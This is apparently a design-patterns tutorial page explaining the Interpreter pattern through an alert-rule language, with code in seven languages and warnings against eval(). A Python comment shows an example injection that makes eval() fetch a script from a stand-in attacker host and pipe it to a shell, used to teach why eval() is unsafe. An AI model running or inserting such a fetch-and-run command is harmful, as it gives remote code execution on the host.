Given a language, define a representation for its grammar along with an interpreter that uses the representation to interpret sentences in the language.
01
The problem Interpreter solves
The problem
Your monitoring product lets customers write alert rules. Version one supported one condition per rule, stored as three columns: metric, operator, threshold. cpu > 90. Simple.
Then customers wanted cpu > 90 AND region == "eu-west", so you added a second set of columns and an and_or flag. Then they wanted three conditions, so you added a third. Then they wanted (cpu > 90 OR memory > 85) AND NOT maintenance, and there is no number of columns that expresses brackets.
The tempting shortcut is to store the rule as a string and call eval() on it. That works on the first afternoon and hands every customer the ability to run arbitrary code inside your alerting service. What you actually need is a small language: a grammar you define, a representation you control, and an evaluator that can do precisely what you allow and nothing else.
02
How the Interpreter pattern works
Give every rule in the grammar its own class, and let them nest into a tree that evaluates itself:
Write the grammar down first. expr := comparison | expr AND expr | expr OR expr | NOT expr | "(" expr ")".
Each rule becomes a class implementing one method: interpret(context). Terminal expressions (a metric, a literal) return a value; non-terminal ones (And, Or, Not) hold sub-expressions and combine their results.
A sentence in the language becomes a tree of those objects — an abstract syntax tree — which is a Composite with an evaluate method.
Evaluating is a post-order walk: leaves produce values, branches combine them, and the root returns the answer. The context carries whatever the expression needs to look things up.
Parsing is not part of this pattern, and conflating the two is the usual mistake. Interpreter describes only the tree and its evaluation. Turning "cpu > 90 AND region == 'eu-west'" into that tree is a separate job, and GoF says so explicitly. Keeping them separate is what lets you validate a rule once at save time and evaluate it a million times, cache the parsed tree, render it back as text for the UI, and swap a hand-written parser for a generated one without touching evaluation.
Participants. The Abstract Expression declares interpret(context). Terminal Expressions (green) read a value from the context or return a literal. Non-terminal Expressions hold children and combine their results. The Context carries the data a sentence is evaluated against — here, one metric sample with its tags.
03
See it: evaluate the tree
One rule, evaluated against one metric sample. Step through it — the leaves resolve first, then each branch combines what its children returned, and the root produces the answer that decides whether anyone gets paged.
▶ Try it — walk the syntax tree
An interactive expression evaluator: the alert rule (cpu > 90 AND region == "eu-west") is a tree of Expression objects, evaluated leaf-first — Metric and Literal terminals resolve to values, GreaterThan and Equals compare them, and the And node combines the two booleans into the final result.
Two things this makes concrete. The tree is a Composite — And holds expressions and is an expression, which is why nesting brackets costs nothing. And a real implementation would short-circuit: if GreaterThan had returned false, And should never evaluate its right-hand side at all. That isn't an optimisation you can add later if the right side has side effects or costs a query.
04
Interpreter pattern code examples
A tiny alert-rule language: an AST that evaluates itself, with short-circuiting and no eval anywhere.
public interface Expression {
Value interpret(Context context);
}
/** Terminal: reads from the context. */
public record Metric(String name) implements Expression {
public Value interpret(Context ctx) { return Value.of(ctx.metric(name)); }
}
/** Terminal: a constant. */
public record Literal(Value value) implements Expression {
public Value interpret(Context ctx) { return value; }
}
public record GreaterThan(Expression left, Expression right) implements Expression {
public Value interpret(Context ctx) {
return Value.of(left.interpret(ctx).asNumber() > right.interpret(ctx).asNumber());
}
}
public record And(Expression left, Expression right) implements Expression {
public Value interpret(Context ctx) {
// Short-circuit: the right side may be an expensive lookup, and it must
// not run when the left side already settled the answer.
if (!left.interpret(ctx).asBoolean()) return Value.FALSE;
return Value.of(right.interpret(ctx).asBoolean());
}
}
// cpu > 90 AND region == "eu-west"
Expression rule = new And(
new GreaterThan(new Metric("cpu"), new Literal(Value.of(90))),
new Equals(new Tag("region"), new Literal(Value.of("eu-west"))));
boolean fires = rule.interpret(new Context(sample)).asBoolean();
// Parse ONCE at save time, evaluate millions of times. The tree is immutable
// and thread-safe, so it can be cached and shared across every evaluation.
from dataclasses import dataclass
from typing import Protocol
class Expression(Protocol):
def interpret(self, ctx: Context) -> object: ...
@dataclass(frozen=True)
class Metric:
name: str
def interpret(self, ctx: Context) -> float:
return ctx.metrics[self.name]
@dataclass(frozen=True)
class Literal:
value: object
def interpret(self, ctx: Context) -> object:
return self.value
@dataclass(frozen=True)
class GreaterThan:
left: Expression
right: Expression
def interpret(self, ctx: Context) -> bool:
return self.left.interpret(ctx) > self.right.interpret(ctx)
@dataclass(frozen=True)
class And:
left: Expression
right: Expression
def interpret(self, ctx: Context) -> bool:
return self.left.interpret(ctx) and self.right.interpret(ctx) # short-circuits
rule = And(
GreaterThan(Metric("cpu"), Literal(90)),
Equals(Tag("region"), Literal("eu-west")),
)
# The whole reason to write this rather than eval(rule_string):
#
# eval("__import__('os').system('curl attacker.sh | sh')")
#
# eval() and exec() give a rule author your entire process. There is no
# blocklist that makes them safe — restricting __builtins__ has been bypassed
# repeatedly. An interpreter can only ever do what you gave it classes for,
# which is a guarantee, not a mitigation. If you need Python EXPRESSIONS
# specifically, use ast.parse and walk the tree yourself, allowing node types
# one at a time.
#include <memory>
#include <variant>
struct Expression;
using ExprPtr = std::shared_ptr<const Expression>;
using Value = std::variant<double, bool, std::string>;
struct Expression {
virtual ~Expression() = default;
virtual Value interpret(const Context&) const = 0;
};
struct Metric final : Expression {
std::string name;
Value interpret(const Context& ctx) const override { return ctx.metric(name); }
};
struct GreaterThan final : Expression {
ExprPtr left, right;
Value interpret(const Context& ctx) const override {
return std::get<double>(left->interpret(ctx)) > std::get<double>(right->interpret(ctx));
}
};
struct And final : Expression {
ExprPtr left, right;
Value interpret(const Context& ctx) const override {
if (!std::get<bool>(left->interpret(ctx))) return false; // short-circuit
return std::get<bool>(right->interpret(ctx));
}
};
// `shared_ptr<const Expression>` states the two properties that matter: the
// tree is shared (many evaluations, one parse) and immutable (safe from many
// threads at once).
//
// Recursion is the risk here: a deeply nested rule from an untrusted source
// will blow the stack. Cap the depth AT PARSE TIME — by evaluation it's too
// late to refuse.
public interface IExpression
{
object Interpret(Context ctx);
}
public sealed record Metric(string Name) : IExpression
{
public object Interpret(Context ctx) => ctx.Metrics[Name];
}
public sealed record Literal(object Value) : IExpression
{
public object Interpret(Context ctx) => Value;
}
public sealed record GreaterThan(IExpression Left, IExpression Right) : IExpression
{
public object Interpret(Context ctx) =>
Convert.ToDouble(Left.Interpret(ctx)) > Convert.ToDouble(Right.Interpret(ctx));
}
public sealed record And(IExpression Left, IExpression Right) : IExpression
{
public object Interpret(Context ctx) =>
(bool)Left.Interpret(ctx) && (bool)Right.Interpret(ctx);
}
// .NET ships the industrial version of this idea. System.Linq.Expressions is a
// full expression-tree library, and an IQueryable provider is an interpreter
// that walks the tree and emits SQL instead of a value:
//
// Expression<Func<Sample, bool>> rule = s => s.Cpu > 90 && s.Region == "eu-west";
// // rule.Body is a BinaryExpression tree you can inspect, rewrite or compile
// var fast = rule.Compile(); // → IL, for when interpretation is too slow
//
// That Compile() call is the standard escape hatch when a hot rule is evaluated
// millions of times: interpret while you're iterating, compile when you ship.
// The AST as plain data, and one evaluator function. Serialisable, storable in
// a database column, and inspectable by the UI that built it.
const evaluate = (node, ctx) => {
switch (node.type) {
case 'metric': return ctx.metrics[node.name]
case 'tag': return ctx.tags[node.name]
case 'literal': return node.value
case 'gt': return evaluate(node.left, ctx) > evaluate(node.right, ctx)
case 'eq': return evaluate(node.left, ctx) === evaluate(node.right, ctx)
case 'not': return !evaluate(node.operand, ctx)
case 'and': return evaluate(node.left, ctx) && evaluate(node.right, ctx)
case 'or': return evaluate(node.left, ctx) || evaluate(node.right, ctx)
default: throw new Error(`unknown node type: ${node.type}`)
}
}
const rule = {
type: 'and',
left: { type: 'gt', left: { type: 'metric', name: 'cpu' }, right: { type: 'literal', value: 90 } },
right: { type: 'eq', left: { type: 'tag', name: 'region' }, right: { type: 'literal', value: 'eu-west' } },
}
evaluate(rule, { metrics: { cpu: 94 }, tags: { region: 'eu-west' } }) // true
// `&&` and `||` short-circuit, so an expensive right-hand side is skipped for
// free. And note what this design gives you beyond safety: because the rule is
// JSON, the same tree drives the query builder UI, the audit log and the
// evaluator — no string parsing anywhere.
package rules
type Expression interface {
Interpret(ctx Context) (Value, error)
}
type Metric struct{ Name string }
func (m Metric) Interpret(ctx Context) (Value, error) {
v, ok := ctx.Metrics[m.Name]
if !ok {
// A missing metric is not false — it's unknown, and silently treating
// it as false is how an alert stops firing without anyone noticing.
return Value{}, fmt.Errorf("unknown metric %q", m.Name)
}
return Number(v), nil
}
type And struct{ Left, Right Expression }
func (a And) Interpret(ctx Context) (Value, error) {
left, err := a.Left.Interpret(ctx)
if err != nil {
return Value{}, err
}
if !left.Bool() {
return Bool(false), nil // short-circuit: Right never runs
}
return a.Right.Interpret(ctx)
}
// Returning (Value, error) is the tab worth reading twice. Every other language
// here quietly allows an evaluator that treats "missing" as "false"; Go makes
// you decide, at every node, what an unknown means — which for an alerting
// system is exactly the question you want to be forced to answer.
//
// text/template and Go's own go/ast are interpreters in the standard library.
type Expr =
| { type: 'metric'; name: string }
| { type: 'tag'; name: string }
| { type: 'literal'; value: number | string | boolean }
| { type: 'gt'; left: Expr; right: Expr }
| { type: 'eq'; left: Expr; right: Expr }
| { type: 'not'; operand: Expr }
| { type: 'and'; left: Expr; right: Expr }
| { type: 'or'; left: Expr; right: Expr }
// The union IS the grammar, written once, and it does three jobs at the same
// time: it types the evaluator, it types the parser's output, and it is the
// wire format the UI stores.
export function evaluate(node: Expr, ctx: Context): number | string | boolean {
switch (node.type) {
case 'metric': return ctx.metrics[node.name] ?? raise(`unknown metric ${node.name}`)
case 'tag': return ctx.tags[node.name] ?? raise(`unknown tag ${node.name}`)
case 'literal': return node.value
case 'gt': return num(evaluate(node.left, ctx)) > num(evaluate(node.right, ctx))
case 'eq': return evaluate(node.left, ctx) === evaluate(node.right, ctx)
case 'not': return !evaluate(node.operand, ctx)
case 'and': return Boolean(evaluate(node.left, ctx)) && Boolean(evaluate(node.right, ctx))
case 'or': return Boolean(evaluate(node.left, ctx)) || Boolean(evaluate(node.right, ctx))
default: {
const exhaustive: never = node
throw new Error(`unhandled node ${JSON.stringify(exhaustive)}`)
}
}
}
// Add a grammar rule to the union and every evaluator, printer and optimiser
// fails to compile until it handles the new node — which is how you keep a
// growing little language honest.
Read across the tabs: the pattern is small and the surrounding decisions are not. Python's tab carries the one that matters most — never reach for eval(); there is no sanitisation that makes it safe, whereas an interpreter can only do what you gave it classes for. C#'s shows the industrial version, System.Linq.Expressions, where a LINQ provider walks the same kind of tree and emits SQL, with .Compile() as the escape hatch when interpreting is too slow. Go's (Value, error) forces you to decide what a missing metric means, instead of letting it quietly become false. And TypeScript's union gives you a grammar that the compiler checks every evaluator against.
05
How to implement Interpreter
Write the grammar down before any code. If you can't write it in a dozen lines, this pattern is the wrong tool — use a parser generator.
Define one type per grammar rule, with a single interpret(context) method. Terminals read or return values; non-terminals combine children.
Keep parsing separate from evaluation. Parse once, validate at save time, evaluate many times.
Make the tree immutable so it can be cached and shared across threads and evaluations.
Implement short-circuiting in And/Or deliberately — it's semantics, not an optimisation, when the other side is expensive or has side effects.
Decide what missing and wrong type mean, and make them explicit. Silently coercing an absent metric to false is how an alert stops firing unnoticed.
Cap nesting depth at parse time, and never evaluate a tree from an untrusted source without one — deep recursion is a denial of service.
Never use eval. The safety of this pattern is that it can only do what you implemented.
06
When to use Interpreter — and when not to
Use it when you have a simple grammar that recurs — alert rules, feature-flag conditions, search filters, permission expressions, pricing rules, spreadsheet formulas — and when efficiency is not the first concern. GoF is unusually direct that the pattern suits simple grammars and that a complex one calls for a parser generator instead.
Where it goes wrong
The grammar keeps growing. One class per rule is fine for a dozen rules and unmanageable at fifty. A real language needs a real parser — ANTLR, a PEG library, or a hand-written recursive-descent parser with a proper AST. Recognising the moment to switch is the skill.
Performance. Walking a tree of small objects is a virtual call and a cache miss per node. For rules evaluated millions of times a second, compile the tree — to a closure, to bytecode, or via Expression.Compile().
Reaching for eval() instead. The most dangerous shortcut in this entire catalogue. It converts a rule editor into remote code execution, and no amount of sanitising the string fixes it.
Unbounded recursion. A hostile or accidental deeply nested rule overflows the stack. Cap depth when parsing, not when evaluating.
No error model. A missing metric, a string compared to a number, a divide by zero — if these silently produce false, your alerting quietly stops working and nothing in the logs says so.
You want to…
Use
Because
Evaluate a small, stable, custom language safely
Interpreter
One class per grammar rule; it can only do what you implemented.
Handle a real language with a large grammar
a parser generator
GoF says so explicitly — one class per rule doesn't scale to fifty rules.
Terminals are immutable and repeat constantly — GoF suggests exactly this.
07
Quick check
🧠 Quick check
A colleague suggests storing alert rules as strings and evaluating them with eval(), arguing they'll strip dangerous keywords first. What's wrong with that?
This is the difference between a filter and a guarantee. Every language with eval has a long history of escapes from attempted sandboxes — attribute chains, introspection, string building, encodings — and the defender has to block all of them while the attacker needs one. An interpreter inverts that: the evaluator's switch or class set is a complete enumeration of what a rule can do, so "read a filesystem" isn't blocked, it simply doesn't exist as a node type. Note the third answer is wrong too, and dangerously so — an internal rule editor is still reachable by anyone who compromises one account, and it typically runs with your service's full credentials.
In the wild
C#System.Linq.Expressions — an IQueryable provider interprets the expression tree into SQL, and Expression.Compile() turns it into IL when interpretation is too slow.
Javajava.util.regex.Pattern compiles a pattern into a node tree that matches text; the Java Expression Language in Jakarta EE is the same idea for templates.
PythonThe ast module, and SQLAlchemy's expression language, where Python operators build a tree that a dialect renders as SQL rather than evaluating in the process.
Gotext/template's action language and go/ast with go/types — the standard library interpreting trees it also defines.
JavaScriptJSONLogic and the query trees behind visual filter builders — the rule is data the UI, the audit log and the evaluator all share.
C++Boost.Spirit for the parser half, and std::regex's compiled matcher for the evaluating half.
When should I use the Interpreter pattern instead of a parser generator?
Use Interpreter when the grammar is small, stable and yours — alert rules, feature-flag conditions, permission expressions, a filter language. A dozen rule types is comfortable. Switch to a parser generator (ANTLR, a PEG library) or a hand-written recursive-descent parser when the grammar grows past what one class per rule can express readably, when you need decent error messages with positions, or when you need operator precedence and associativity handled properly. GoF is explicit that this pattern is for simple grammars.
Is the Interpreter pattern the same as writing a parser?
No, and keeping them apart is the single most useful thing to know about it. Parsing turns text into a tree; interpreting walks that tree and produces a value. The pattern describes only the second half. Separating them lets you validate a rule once when it's saved, cache the parsed tree, evaluate it a million times, render it back into the UI, and replace the parser later without touching evaluation.
Why not just use eval() for a small rule language?
Because eval gives the rule's author everything your process can do — read files, open sockets, exfiltrate credentials — and every attempt at sandboxing it has been broken repeatedly. A blocklist has to catch every escape; the attacker needs one. An interpreter is a different kind of thing entirely: its node types are a complete enumeration of what a rule can express, so dangerous behaviour isn't filtered out, it was never built. The same argument applies to internal-only rule editors, which usually run with your service's full credentials.
How do I make an interpreter fast enough?
First, parse once and cache the tree — most systems that feel slow are re-parsing on every evaluation. Then make the tree immutable so it can be shared across threads without copying. If it's still too slow, compile rather than interpret: turn each node into a closure once (closure compilation, often a 5–10× win for very little code), or use a real compiler like Expression.Compile() in .NET to emit IL. Short-circuiting also matters more than it looks when a branch triggers a database lookup.
How should an interpreter handle missing values and type errors?
Deliberately and visibly. The tempting default — treat a missing metric as false, coerce a string to a number — makes an alert rule quietly stop firing, which is the worst possible failure for a monitoring system because nothing looks broken. Model the outcome as a result type or an error return (Go's tab shows this well), decide explicitly whether unknown propagates through AND and OR, and surface evaluation errors to whoever owns the rule rather than swallowing them.
Finish the handbook, earn the certificate
All 23 Gang-of-Four patterns, each with a simulator you can click and code in seven languages. Free, no signup.